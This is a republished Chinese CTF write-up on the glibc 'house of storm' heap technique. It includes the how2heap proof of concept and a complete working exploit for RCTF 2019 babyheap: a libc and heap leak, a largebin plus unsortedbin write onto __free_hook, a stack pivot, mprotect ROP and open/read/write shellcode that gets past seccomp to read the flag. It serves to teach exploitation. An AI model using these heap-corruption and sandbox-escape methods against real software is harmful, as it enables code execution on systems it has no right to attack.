一
简介
介绍部分来自参考资料[0],其余内容参考自glibc malloc源码,探究了the house of storm的完整过程,以及一个实例练习。
漏洞成因
use after free
、edit after free
适用范围
2.23
——2.29
unsortedbin attack
largebin attack
,修改bk
和bk_nextsize
0x50
大小的chunk
利用原理
house of storm
也是一款组合技,利用开启了PIE
的x64
程序的堆地址总是0x55xxxx...
或者0x56xxxx...
开头这一特性,使用一次largebin attack
写两个堆地址,使用一次unsortedbin attack
写一次libc
地址,可以实现任意地址分配。虽然house of storm
最后能达到任意地址分配,但是由于其所需的条件比较多,一般可以用其他更简便的堆利用技术代替。unsortedbin attack
,其bk
修改为addr
largebin attack
,其bk
修改为addr+0x10
,bk_nextsize
修改为addr-0x20+3
0x50
大小的chunk
即可申请到addr
处相关技巧
50%
,因为0x55
会触发assert
断言,0x56
才能成功addr
处的chunk
的时候需要从unsortedbin
里面取利用效果
二
实验:how2heap - the house of storm
/*
POC for House of Storm on 2.23
For 2.26-2.28, the tcache will need to
be full for this to work. After this,
a patch to the unsorted bin attack likely prevents this
technique from working.
This technique uses a combination of editing
the unsorted bin chunk and the large bin chunks
to write a 'size' to a user choosen address in memory.
Once this has occurred, if the size at this 'fake'
location is the same size as the allocation,
then the chunk will be returned back to the user.
This attack allows arbitrary chunks to be returned
to the user!
Written by Maxwell "Strikeout" Dulin
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
char filler[0x10];
char target[0x60];
void init(){
setvbuf(stdout, NULL, _IONBF, 0);
setvbuf(stdin, NULL, _IONBF, 0);
// clearenv();
}
// Get the AMOUNT to shift over for size and the offset on the largebin.
// Needs to be a valid minimum sized chunk in order to work.
int get_shift_amount(char* pointer){
int shift_amount = 0;
long long ptr = (long long)pointer;
while(ptr > 0x20){
ptr = ptr >> 8;
shift_amount += 1;
}
return shift_amount - 1; // Want amount PRIOR to this being zeroed out
}
int main(){
init();
char *unsorted_bin, *large_bin, *fake_chunk, *ptr;
puts("House of Storm");
puts("======================================");
puts("Preparing chunks for the exploit");
puts("Put one chunk into unsorted bin and the other into the large bin");
puts("The unsorted bin chunk MUST be larger than the large bin chunk.");
/*
Putting a chunk into the unsorted bin and another
into the large bin.
*/
unsorted_bin = malloc ( 0x4e8 ); // size 0x4f0
// prevent merging
malloc ( 0x18 );
puts("Find the proper chunk size to allocate.");
puts("Must be exactly the size of the written chunk from above.");
/*
Find the proper size to allocate
We are using the first 'X' bytes of the heap to act
as the 'size' of a chunk. Then, we need to allocate a
chunk exactly this size for the attack to work.
So, in order to do this, we have to take the higher
bits of the heap address and allocate a chunk of this
size, which comes from the upper bytes of the heap address.
NOTE:
- This does have a 1/2 chance of failing. If the 4th bit
of this value is set, then the size comparison will fail.
- Without this calculation, this COULD be brute forced.
*/
int shift_amount = get_shift_amount(unsorted_bin);
printf("Shift Amount: %dn", shift_amount);
size_t alloc_size = ((size_t)unsorted_bin) >> (8 * shift_amount);
if(alloc_size < 0x10){
printf("Chunk Size: 0x%lxn", alloc_size);
puts("Chunk size is too small");
exit(1);
}
alloc_size = (alloc_size & 0xFFFFFFFFE) - 0x10; // Remove the size bits
printf("In this case, the chunk size is 0x%lxn", alloc_size);
// Checks to see if the program will crash or not
/*
The fourth bit of the size and the 'non-main arena' chunk can NOT be set. Otherwise, the chunk. So, we MUST check for this first.
Additionally, the code at https://elixir.bootlin.com/glibc/glibc-2.27/source/malloc/malloc.c#L3438
validates to see if ONE of the following cases is true:
- av == arena_for_chunk (mem2chunk (mem))
- chunk is mmaped
If the 'non-main arena' bit is set on the chunk, then the
first case will fail.
If the mmap bit is set, then this will pass.
So, either the arenas need to match up (our fake chunk is in the
.bss section for this demo. So, clearly, this will not happen) OR
the mmap bit must be set.
The logic below validates that the fourth bit of the size
is NOT set and that either the mmap bit is set or the non-main
arena bit is NOT set. If this is the case, the exploit should work.
*/
if((alloc_size & 0x8) != 0 || (((alloc_size & 0x4) == 0x4) && ((alloc_size & 0x2) != 0x2))){
puts("Allocation size has bit 4 of the size set or ");
puts("mmap and non-main arena bit check will fail");
puts("Please try again! :)");
puts("Exiting...");
return 1;
}
large_bin = malloc ( 0x4d8 ); // size 0x4e0
// prevent merging
malloc ( 0x18 );
// FIFO
free ( large_bin ); // put small chunks first
free ( unsorted_bin );
// Put the 'large bin' chunk into the large bin
unsorted_bin = malloc(0x4e8);
free(unsorted_bin);
/*
At this point, there is a single chunk in the
large bin and a single chunk in the unsorted bin.
It should be noted that the unsorted bin chunk
should be LARGER in size than the large bin chunk
but should still be within the same bin.
In this setup, the large_bin has a chunk
of size 0x4e0 and the unsorted bin
has a chunk of size 0x4f0. This technique relies on
the unsorted bin chunk being added to the same bin
but a larger chunk size. So, careful heap feng shui
must be done.
*/
// The address that we want to write to!
fake_chunk = target - 0x10;
puts("Vulnerability! Overwrite unsorted bins 'bk' pointer with our target location.n This is our target location to get from the allocator");
/*
The address of our fake chunk is set to the unsorted bin
chunks 'bk' pointer.
This launches the 'unsorted_bin' attack but it is NOT the
main purpose of us doing this.
After launching the 'unsorted_bin attack' the 'victim' pointer
will be set to THIS address. Our goal is to find a way to get
this address from the allocator.
Vulnerability!!
*/
((size_t *)unsorted_bin)[1] = (size_t)fake_chunk; // unsorted_bin->bk
// Only needs to be a valid address.
(( size_t *) large_bin )[1] = (size_t)fake_chunk + 8 ; // large_bin->fd
puts("Later on, we will use WRITE-WHERE primitive in the large bin to write a heap pointer to the location");
puts("of your fake chunk.");
puts("Misalign the location in order to use the primitive as a SIZE value.");
puts("The 'offset' changes depending on if the binary is PIE (5) or not PIE (2).");
puts("Vulnerability #2!");
puts("Overwrite large bins bk->nextsize with the address to put our fake chunk size at.");
/*
This can be seen as a WRITE-WHERE primitive in the large bin.
However, we are going to write a 'size' for our fake chunk using this.
So, we set https://elixir.bootlin.com/glibc/glibc-2.23/source/malloc/malloc.c#L3579
to an address for our fake size. The write above (bk_nextsize) is
controlled via the pointer we are going to overwrite below. The
value that gets written is a heap address; the unsorted bin
chunk address above.
The 'key' to this is the offset. First, we subtract 0x18 because
this is the offset to writting to fd_nextsize in the code shown
above. Secondly, notice the -2 below. We are going
to write a 'heap address' at a mis-aligned location and
use THIS as the size. For instance, if the heap address is 0x123456
and the pointer is set to 0x60006. This will write the following way:
- 0x60006: 0x56
- 0x60007: 0x34
- 0x60008: 0x12
Now, our 'fake size' is at 0x60008 and is a valid size for the
fake chunk at 0x60008. The fake size is CRUCIAL to getting this fake chunk
from the allocator.
Second vulnerability!!!
*/
(( size_t *) large_bin)[3] = (size_t)fake_chunk - 0x18 - shift_amount; // large_bin->bk_nextsize
/*
At this point, we've corrupted everything in just the right
way so this should work.
The purpose of the attack is to have a corrupted 'bk' pointer
point to ANYWHERE we want and still get the memory back. We do
this by using the large bin code to write a size to the 'bk'
location.
This call to malloc (if you're lucky), will return a pointer
to the fake chunk that we created above.
*/
puts("Make allocation of the size that the value will be written for.");
puts("Once the allocation happens, the madness begins");
puts("Once in the unsorted bin, the 'large bin' chunk will be used in orer to ");
puts("write a fake 'size' value to the location of our target.");
puts("After this, the target will have a valid size.");
puts("Next, the unsorted bin will see that the chunk (in unsorted_bin->bk) has a valid");
puts("size and remove it from the bin.");
puts("With this, we have pulled out an arbitrary chunk!");
printf("String before: %sn", target);
printf("String pointer: %pn", target);
ptr = malloc(alloc_size);
strncpy(ptr, "x41x42x43x44x45x46x47", 0x58 - 1);
printf("String after %sn", target);
printf("Fake chunk ptr: %pn", ptr);
return 0;
}
the house of storm
是unsortedbin attack
和largebin attack
的组合利用,可用直到libc 2.29
的时候unsortedbin attack
被修补。探究:进行利用的那一下 malloc 中发生了什么?
pwndbg> dq 0x602090
0000000000602090 30007ffff7fcb8e0 0000000000000060 target - 0x10 largebin attack bk_nextsize写入到了这里
00000000006020a0 00007ffff7fcbb78 0000000000603000 target unsortedbin attack的写入,largebin attack bk的写入
00000000006020b0 0000000000000000 0000000000000000
00000000006020c0 0000000000000000 0000000000000000
(5)此时的bin:
pwndbg> bin
fastbins
empty
unsortedbin
all [corrupted]
FD: 0x603000 —▸ 0x603510 —▸ 0x7ffff7fcbf98 (main_arena+1144) ◂— 0x603510
BK: 0x602090 (stdin@@GLIBC_2.2.5) —▸ 0x603000 —▸ 0x602098 (completed) ◂— 0x0
smallbins
empty
largebins
0x4c0-0x4f0 [corrupted]
FD: 0x603510 —▸ 0x7ffff7fcbf98 (main_arena+1144) ◂— 0x603510
BK: 0x603510 —▸ 0x603000 —▸ 0x602098 (completed) ◂— 0x0
此时的unsortedbin chunk是被成功伪造好了的(如何伪造见下面的[探究]),断链后:
unsortedbin
all [corrupted]
FD: 0x603000 —▸ 0x7ffff7fcbb78 (main_arena+88) ◂— 0x603000
BK: 0x603000 —▸ 0x602098 (completed) ◂— 0x0
探究:其中unsortedbin attack 的作用是什么?bk 如何构造?
fastbin attack通过构造fake fastbin chunk 来申请走fake chunk,house of storm则是通过构造fake unsortedbin chunk来申请走chunk
bck = victim->bk;
...
/* remove from unsorted list */
// 断链
unsorted_chunks(av)->bk = bck;
bck->fd = unsorted_chunks(av);
/* Take now instead of binning if exact fit */
// 如果大小精准匹配,就直接分配返回
if (size == nb)
{
set_inuse_bit_at_offset(victim, size);
if (av != &main_arena)
victim->size |= NON_MAIN_ARENA;
check_malloced_chunk(av, victim, nb);
void *p = chunk2mem(victim);
alloc_perturb(p, bytes);
return p;
}
bck = victim->bk;
...
unsorted_chunks(av)->bk = bck;
探究:其中 largebin attack 的作用是什么?bk 和 bk_nextsize 是怎么构造的?
fake_chunk = target - 0x10;
...
(( size_t *) large_bin)[1] = (size_t)fake_chunk + 8 ; // large_bin->fd
...
(( size_t *) large_bin)[3] = (size_t)fake_chunk - 0x18 - shift_amount; // large_bin->bk_nextsize
target-0x10+8。
pwndbg> p/x shift_amount
$1 = 0x2
pwndbg> dq 0x0000000000602076
0000000000602076 0000000000000000 7ffff7fcc6200000
0000000000602086 0000000000000000 7ffff7fcb8e00000
0000000000602096 0000000000603000 7ffff7fcbb780000
00000000006020a6 0000006030000000 0000000000000000
pwndbg> dq 0x0000000000602090
0000000000602090 30007ffff7fcb8e0 0000000000000060
00000000006020a0 00007ffff7fcbb78 0000000000603000
00000000006020b0 0000000000000000 0000000000000000
00000000006020c0 0000000000000000 0000000000000000
探究:为何说实战成功率只有50%?unsortedbin chunk 比较大小是如何比较的?
void *
__libc_malloc(size_t bytes)
{
mstate ar_ptr;
void *victim;
void *(*hook)(size_t, const void *) = atomic_forced_read(__malloc_hook);
if (__builtin_expect(hook != NULL, 0))
return (*hook)(bytes, RETURN_ADDRESS(0));
arena_get(ar_ptr, bytes);
victim = _int_malloc(ar_ptr, bytes);
/* Retry with another arena only if we were able to find a usable arena
before. */
if (!victim && ar_ptr != NULL)
{
LIBC_PROBE(memory_malloc_retry, 1, bytes);
ar_ptr = arena_get_retry(ar_ptr, bytes);
victim = _int_malloc(ar_ptr, bytes);
}
if (ar_ptr != NULL)
(void)mutex_unlock(&ar_ptr->mutex);
assert(!victim || chunk_is_mmapped(mem2chunk(victim)) ||
ar_ptr == arena_for_chunk(mem2chunk(victim))); // 会检查申请的chunk 的标志位
return victim;
}
/* size field is or'ed with IS_MMAPPED if the chunk was obtained with mmap() */
#define IS_MMAPPED 0x2
/* check for mmap()'ed chunk */
#define chunk_is_mmapped(p) ((p)->size & IS_MMAPPED)
/* size field is or'ed with NON_MAIN_ARENA if the chunk was obtained
from a non-main arena. This is only set immediately before handing
the chunk to the user, if necessary. */
#define NON_MAIN_ARENA 0x4
/* check for chunk from non-main arena */
#define chunk_non_main_arena(p) ((p)->size & NON_MAIN_ARENA)
探究:unsortedbin chunk 进入 last_remainder 的条件是什么?
/* Inspect the bin. It is likely to be non-empty */
victim = last(bin);
/* If a false alarm (empty bin), clear the bit. */
if (victim == bin)
{
av->binmap[block] = map &= ~bit; /* Write through */
bin = next_bin(bin);
bit <<= 1;
}
else
{
size = chunksize(victim);
/* We know the first chunk in this bin is big enough to use. */
assert((unsigned long)(size) >= (unsigned long)(nb));
remainder_size = size - nb;
/* unlink */
unlink(av, victim, bck, fwd);
/* Exhaust */
if (remainder_size < MINSIZE)
{
set_inuse_bit_at_offset(victim, size);
if (av != &main_arena)
victim->size |= NON_MAIN_ARENA;
}
/* Split */
else
{
remainder = chunk_at_offset(victim, nb);
/* We cannot assume the unsorted list is empty and therefore
have to perform a complete insert here. */
bck = unsorted_chunks(av);
fwd = bck->fd;
if (__glibc_unlikely(fwd->bk != bck))
{
errstr = "malloc(): corrupted unsorted chunks 2";
goto errout;
}
remainder->bk = bck;
remainder->fd = fwd;
bck->fd = remainder;
fwd->bk = remainder;
/* advertise as last remainder */
if (in_smallbin_range(nb))
av->last_remainder = remainder; // 生成last_remainder
if (!in_smallbin_range(remainder_size))
{
remainder->fd_nextsize = NULL;
remainder->bk_nextsize = NULL;
}
set_head(victim, nb | PREV_INUSE |
(av != &main_arena ? NON_MAIN_ARENA : 0));
set_head(remainder, remainder_size | PREV_INUSE);
set_foot(remainder, remainder_size);
}
总结
三
实验: rctf 2019 - babyheap
逆向分析
int __fastcall main(int argc, const char **argv, const char **envp)
{
init(argc, argv, envp);
while ( 1 )
{
menu();
switch ( get_int() )
{
case 1:
add();
break;
case 2:
edit(); // off by null
break;
case 3:
delete();
break;
case 4:
show();
break;
case 5:
puts("See you next time!");
exit(0);
default:
puts("Invalid choice!");
break;
}
}
}
unsigned __int64 init()
{
int fd; // [rsp+4h] [rbp-Ch]
unsigned __int64 v2; // [rsp+8h] [rbp-8h]
v2 = __readfsqword(0x28u);
setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(_bss_start, 0LL, 2, 0LL);
setvbuf(stderr, 0LL, 2, 0LL);
fd = open("/dev/urandom", 0);
if ( fd < 0 )
{
puts("open failed!");
exit(-1);
}
read(fd, &ptrs, 8uLL); // 获取随机值
close(fd);
ptrs = (void *)((unsigned int)ptrs & 0xFFFF0000);
mallopt(1, 0);
if ( mmap(ptrs, 0x1000uLL, 3, 34, -1, 0LL) != ptrs )// 映射随机地址
{
puts("mmap error!");
exit(-1);
}
signal(14, timeout_handler);
alarm(0x3Cu);
if ( prctl(38, 1LL, 0LL, 0LL, 0LL) )
{
puts("Could not start seccomp:");
exit(-1);
}
if ( prctl(22, 2LL, &filterprog) == -1 ) // 沙箱,启动
{
puts("Could not start seccomp:");
exit(-1);
}
return __readfsqword(0x28u) ^ v2;
}
unsigned __int64 add()
{
ptr_struct *v0; // rbx
int i; // [rsp+0h] [rbp-20h]
int size; // [rsp+4h] [rbp-1Ch]
unsigned __int64 v4; // [rsp+8h] [rbp-18h]
v4 = __readfsqword(0x28u);
for ( i = 0; ptrs[i].ptr && i <= 15; ++i ) // ptrs是个结构体,有2个dq
;
if ( i == 16 ) // 最多16个
{
puts("You can't");
exit(-1);
}
printf("Size: ");
size = get_int();
if ( size <= 0 || size > 0x1000 ) // size 最大 0x1000
{
puts("Invalid size :(");
}
else
{
LODWORD(ptrs[i].size) = size; // 在很靠后的位置保存size
v0 = &ptrs[i];
v0->ptr = (__int64)calloc(size, 1uLL); // calloc申请内存
puts("Add success :)");
}
return __readfsqword(0x28u) ^ v4;
}
unsigned __int64 edit()
{
unsigned int idx; // [rsp+0h] [rbp-10h]
unsigned __int64 v2; // [rsp+8h] [rbp-8h]
v2 = __readfsqword(0x28u);
printf("Index: ");
idx = get_int();
if ( idx <= 0xF && *((_QWORD *)ptrs + 2 * (int)idx) )
{
printf("Content: ");
*(_BYTE *)(*((_QWORD *)ptrs + 2 * (int)idx) // off by null?
+ (int)read_n(*((_QWORD *)ptrs + 2 * (int)idx), *((unsigned int *)ptrs + 4 * (int)idx + 2))) = 0;
puts("Edit success :)");
}
else
{
puts("Invalid index :(");
}
return __readfsqword(0x28u) ^ v2;
}
unsigned __int64 delete()
{
unsigned int idx; // [rsp+4h] [rbp-Ch]
unsigned __int64 v2; // [rsp+8h] [rbp-8h]
v2 = __readfsqword(0x28u);
printf("Index: ");
idx = get_int();
if ( idx <= 0xF && *((_QWORD *)ptrs + 2 * (int)idx) )
{
free(*((void **)ptrs + 2 * (int)idx)); // 释放
*((_QWORD *)ptrs + 2 * (int)idx) = 0LL; // 指针清空
*((_DWORD *)ptrs + 4 * (int)idx + 2) = 0; // 大小清零
puts("Delete success :)");
}
else
{
puts("Invalid index :(");
}
return __readfsqword(0x28u) ^ v2;
}
unsigned __int64 show()
{
unsigned int idx; // [rsp+4h] [rbp-Ch]
unsigned __int64 v2; // [rsp+8h] [rbp-8h]
v2 = __readfsqword(0x28u);
printf("Index: ");
idx = get_int();
if ( idx <= 0xF && *((_QWORD *)ptrs + 2 * (int)idx) )
puts(*((const char **)ptrs + 2 * (int)idx));
else
puts("Invalid index :(");
return __readfsqword(0x28u) ^ v2;
}
思路分析
rctf2019_babyheap ➤ seccomp-tools dump ./rctf_2019_babyheap
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x01 0x00 0xc000003e if (A == ARCH_X86_64) goto 0003
0002: 0x06 0x00 0x00 0x00000000 return KILL
0003: 0x20 0x00 0x00 0x00000000 A = sys_number
0004: 0x15 0x00 0x01 0x00000029 if (A != socket) goto 0006
0005: 0x06 0x00 0x00 0x00000000 return KILL
0006: 0x15 0x00 0x01 0x0000003b if (A != execve) goto 0008
0007: 0x06 0x00 0x00 0x00000000 return KILL
0008: 0x15 0x00 0x01 0x00000039 if (A != fork) goto 0010
0009: 0x06 0x00 0x00 0x00000000 return KILL
0010: 0x15 0x00 0x01 0x0000009d if (A != prctl) goto 0012
0011: 0x06 0x00 0x00 0x00000000 return KILL
0012: 0x15 0x00 0x01 0x0000003a if (A != vfork) goto 0014
0013: 0x06 0x00 0x00 0x00000000 return KILL
0014: 0x15 0x00 0x01 0x00000065 if (A != ptrace) goto 0016
0015: 0x06 0x00 0x00 0x00000000 return KILL
0016: 0x15 0x00 0x01 0x0000003e if (A != kill) goto 0018
0017: 0x06 0x00 0x00 0x00000000 return KILL
0018: 0x15 0x00 0x01 0x00000038 if (A != clone) goto 0020
0019: 0x06 0x00 0x00 0x00000000 return KILL
0020: 0x06 0x00 0x00 0x7fff0000 return ALLOW
the house of einherjar
具体利用细节详解见参考资料[2]
# house of einherjar
# leak address
add(0x18)#0
add(0x28)#1 use for fake largebin bk
add(0xf8)#2
add(0x18)#3
add(0x18)#4
add(0x18)#5
add(0x18)#6
dele(0)
edit(1,b'a'*0x20+pack(0x50))
dele(2)
add(0x18)#0
leak = show(1)
leak = unpack(leak,'all')
libc.address = leak - 0x3c4b78
success(f"leak address => {hex(leak)}")
success(f"libc address => {hex(libc.address)}")
# leak haep
add(0x128)#2
dele(5)
dele(2)
leak2 = show(1)
leak2 = unpack(leak2,'all')
heap_address = leak2 & ~(0xfff)
success(f"heap leak address => {hex(leak2)}")
success(f"heap address => {hex(heap_address)}")
the house of storm
# house of storm
# prepare the largebin & unsortedbin
dele(6)
dele(4)
dele(3)
add(0x3f8) #2
add(0x18) #3
add(0x4f8) #4
add(0x18) #5
add(0x3f8) #6
add(0x18) #7
dele(4)
edit(5,b'5'*0x10+pack(0x520))
dele(6)
dele(2)
add(0x4f8) #2 rop
target = libc.sym.__free_hook - 0x10
edit(1,flat({
0x00:pack(leak+0x3f0)+pack(target+0x8), # bk
0x10:pack(leak2+0x20)+pack(target-0x20+3), # bk_nextsize
}))
edit(5,pack(leak)+pack(target)) # unsortedbin bk
add(0x48) #4
堆 ROP + orw 沙箱逃逸
0x00007fc5b6198b85 <+53>: mov rsp,QWORD PTR [rdi+0xa0] 0x47b85
0x00007fc5b6198b8c <+60>: mov rbx,QWORD PTR [rdi+0x80]
0x00007fc5b6198b93 <+67>: mov rbp,QWORD PTR [rdi+0x78]
0x00007fc5b6198b97 <+71>: mov r12,QWORD PTR [rdi+0x48]
0x00007fc5b6198b9b <+75>: mov r13,QWORD PTR [rdi+0x50]
0x00007fc5b6198b9f <+79>: mov r14,QWORD PTR [rdi+0x58]
0x00007fc5b6198ba3 <+83>: mov r15,QWORD PTR [rdi+0x60]
0x00007fc5b6198ba7 <+87>: mov rcx,QWORD PTR [rdi+0xa8]
0x00007fc5b6198bae <+94>: push rcx
0x00007fc5b6198baf <+95>: mov rsi,QWORD PTR [rdi+0x70]
0x00007fc5b6198bb3 <+99>: mov rdx,QWORD PTR [rdi+0x88]
0x00007fc5b6198bba <+106>: mov rcx,QWORD PTR [rdi+0x98]
0x00007fc5b6198bc1 <+113>: mov r8,QWORD PTR [rdi+0x28]
0x00007fc5b6198bc5 <+117>: mov r9,QWORD PTR [rdi+0x30]
0x00007fc5b6198bc9 <+121>: mov rdi,QWORD PTR [rdi+0x68]
0x00007fc5b6198bcd <+125>: xor eax,eax
0x00007fc5b6198bcf <+127>: ret
mov_rsp_ret = libc.address+0x47b85
addr = heap_address+0x450
r = ROP(libc)
r(rdi=heap_address)
r(rsi=0x1000)
r(rdx=7)
r.raw(libc.sym.mprotect)
r.raw(heap_address+0x538)
code = """
xor rsi,rsi
mov rax,SYS_open
call here
.string "./flag"
here:
pop rdi
syscall
mov rdi,rax
mov rsi,rsp
mov rdx,0x100
mov rax,SYS_read
syscall
mov rdi,1
mov rsi,rsp
mov rdx,0x100
mov rax,SYS_write
syscall
mov rax,SYS_exit
syscall
"""
sc = asm(code)
r.raw(sc)
payload = flat({
0x00:b"echo *; read FLAG < ./flag;echo $FLAG",
0xa0:pack(heap_address+0x450+0xa0), #rsp
0xa8:r.chain()
},filler='x00')
edit(2,payload)
edit(4,pack(mov_rsp_ret))
dele(2)
完整 exp:
#!/usr/bin/env python3
# Date: 2024-01-23 17:05:38
# Link: https://github.com/RoderickChan/pwncli
# Usage:
# Debug : python3 exp.py debug elf-file-path -t -b malloc
# Remote: python3 exp.py remote elf-file-path ip:port
from pwncli import *
cli_script()
io: tube = gift.io
elf: ELF = gift.elf
libc: ELF = gift.libc
# one_gadgets: list = get_current_one_gadget_from_libc(more=False)
CurrentGadgets.set_find_area(find_in_elf=True, find_in_libc=True, do_initial=False)
def cmd(i, prompt="Choice: n"):
sla(prompt, i)
def add(nb):
cmd('1')
sla('Size: ',str(nb))
#......
def edit(idx,content):
cmd('2')
sla('Index: ',str(idx))
sa('Content: ',content)
#......
def show(idx):
cmd('4')
sla('Index: ',str(idx))
return rl()[:-1]
#......
def dele(idx):
cmd('3')
sla('Index: ',str(idx))
# edit have off by null vuln
# i think target is __free_hook , create a fake chunk in there and alloc it
# house of einherjar
# leak address
add(0x18)#0
add(0x28)#1 use for fake largebin bk
add(0xf8)#2
add(0x18)#3
add(0x18)#4
add(0x18)#5
add(0x18)#6
dele(0)
edit(1,b'a'*0x20+pack(0x50))
dele(2)
add(0x18)#0
leak = show(1)
leak = unpack(leak,'all')
libc.address = leak - 0x3c4b78
success(f"leak address => {hex(leak)}")
success(f"libc address => {hex(libc.address)}")
# leak haep
add(0x128)#2
dele(5)
dele(2)
leak2 = show(1)
leak2 = unpack(leak2,'all')
heap_address = leak2 & ~(0xfff)
success(f"heap leak address => {hex(leak2)}")
success(f"heap address => {hex(heap_address)}")
# house of storm
# prepare the largebin & unsortedbin
dele(6)
dele(4)
dele(3)
add(0x3f8) #2
add(0x18) #3
add(0x4f8) #4
add(0x18) #5
add(0x3f8) #6
add(0x18) #7
dele(4)
edit(5,b'5'*0x10+pack(0x520))
dele(6)
dele(2)
add(0x4f8) #2 rop
target = libc.sym.__free_hook - 0x10
edit(1,flat({
0x00:pack(leak+0x3f0)+pack(target+0x8), # bk
0x10:pack(leak2+0x20)+pack(target-0x20+3), # bk_nextsize
}))
edit(5,pack(leak)+pack(target)) # unsortedbin bk
add(0x48) #4
# 多种方法可以拿flag
# 1. rop 或 srop mprotect 修改栈为可执行,写入shellcode,orw
# 2. rop orw
mov_rsp_ret = libc.address+0x47b85
addr = heap_address+0x450
r = ROP(libc)
r(rdi=heap_address)
r(rsi=0x1000)
r(rdx=7)
r.raw(libc.sym.mprotect)
r.raw(heap_address+0x538)
code = """
xor rsi,rsi
mov rax,SYS_open
call here
.string "./flag"
here:
pop rdi
syscall
mov rdi,rax
mov rsi,rsp
mov rdx,0x100
mov rax,SYS_read
syscall
mov rdi,1
mov rsi,rsp
mov rdx,0x100
mov rax,SYS_write
syscall
mov rax,SYS_exit
syscall
"""
sc = asm(code)
r.raw(sc)
payload = flat({
0x00:b"echo *; read FLAG < ./flag;echo $FLAG",
0xa0:pack(heap_address+0x450+0xa0), #rsp
0xa8:r.chain()
},filler='x00')
edit(2,payload)
edit(4,pack(mov_rsp_ret))
dele(2)
# edit the bk & bk_nextsize
ia()
探究:fastbin 怎么被禁用的?
mallopt(1, 0);
/*
mallopt(int parameter_number, int parameter_value)
Sets tunable parameters The format is to provide a
(parameter-number, parameter-value) pair. mallopt then sets the
corresponding parameter to the argument value if it can (i.e., so
long as the value is meaningful), and returns 1 if successful else
0. SVID/XPG/ANSI defines four standard param numbers for mallopt,
normally defined in malloc.h. Only one of these (M_MXFAST) is used
in this malloc. The others (M_NLBLKS, M_GRAIN, M_KEEP) don't apply,
so setting them has no effect. But this malloc also supports four
other options in mallopt. See below for details. Briefly, supported
parameters are as follows (listed defaults are for "typical"
configurations).
Symbol param # default allowed param values
M_MXFAST 1 64 0-80 (0 disables fastbins)
M_TRIM_THRESHOLD -1 128*1024 any (-1U disables trimming)
M_TOP_PAD -2 0 any
M_MMAP_THRESHOLD -3 128*1024 any (or 0 if no MMAP support)
M_MMAP_MAX -4 65536 any (0 disables use of mmap)
*/
M_MXFAST = 0
,由此禁用了 fastbin。参考资料
看雪ID:selph
https://bbs.kanxue.com/user-home-988863.htm
# 往期推荐
2、在Windows平台使用VS2022的MSVC编译LLVM16
3、神挡杀神——揭开世界第一手游保护nProtect的神秘面纱
球分享
球点赞
球在看
点击阅读原文查看更多
原文始发于微信公众号(看雪学苑):堆利用详解:the house of storm